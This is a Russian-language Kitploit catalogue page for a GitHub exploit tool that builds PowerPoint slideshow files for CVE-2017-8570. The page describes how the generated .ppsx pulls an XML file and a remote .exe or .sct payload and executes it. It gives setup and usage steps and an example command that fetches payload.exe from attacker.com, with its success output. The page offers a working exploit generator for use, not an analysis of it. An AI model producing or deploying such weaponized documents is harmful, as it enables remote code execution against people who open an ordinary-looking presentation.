Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ppsx-file-generator — ppsx file generator for cve-2017-8570 (based on bhdresh/cve-2017-8570) | Kitploit
Инструменты/GitHubGitHub/temesgeny/ppsx-file-generator
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubtemesgeny/ppsx-file-generator

ppsx-file-generator

ppsx file generator for cve-2017-8570 (based on bhdresh/cve-2017-8570)

Репозиторий
66538 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Введение

Автор: Temesgen Yibeltal [email protected] (на основе кода https://github.com/bhdresh/CVE-2017-8570 (теперь удалён))

ppsx-file-generator — это инструмент на Python, который создаёт файл слайд-шоу PowerPoint, выполняющий код из удалённого источника на основе существующего файла.

Что он делает?

Инструмент генерирует файл слайд-шоу PowerPoint и XML-файл на основе предоставленных входных данных. Файл PowerPoint обращается к XML-файлу, который содержит информацию о файле полезной нагрузки. Злоумышленник может разместить XML-файл и полезную нагрузку на локальном или публичном сервере и указать URL для каждого из них в качестве входных данных.

Получение кода

Сначала получите код:

root@kitploit:~
git clone https://github.com/temesgeny/ppsx-file-generator.git

ppsx-file-generator написан на Python и требует zipfile, который можно установить с помощью Pip:

root@kitploit:~
pip install zipfile

Требуется Microsoft Office PowerPoint для выполнения этой задачи.

Использование

Сначала откройте Microsoft Office PowerPoint и откройте 'template.ppsx'. Откройте свой собственный файл презентации и скопируйте значок 'Coder.exe' из template.ppsx на слайд 1 вашего файла PowerPoint. Сохраните файл как слайд-шоу Power Point (.ppsx). Затем используйте инструмент Python следующим образом:

root@kitploit:~
    Usage: generate_ppsx.py input_filename -o output_filename -p payload_uri -x xml_uri

    input_filename          Имя входного файла ppsx.

    -o              Имя выходного .ppsx файла (включая .ppsx).
    -p              URL файла полезной нагрузки (.exe или .sct). 
                    Должен находиться на доступном веб-сервере. (Опционально для XML-файла)
    -x              Полный URI XML-файла, который будет вызван файлом ppsx. 
                    Должен находиться на доступном веб-сервере. (Обязательно)
root@kitploit:~
python generate_ppsx.py -o output.ppsx -p http://attacker.com/payload.exe -x http://attacker.com/content.xml input.ppsx
Generated content.xml successfully
Generated output.ppsx successfully
Скачать инструмент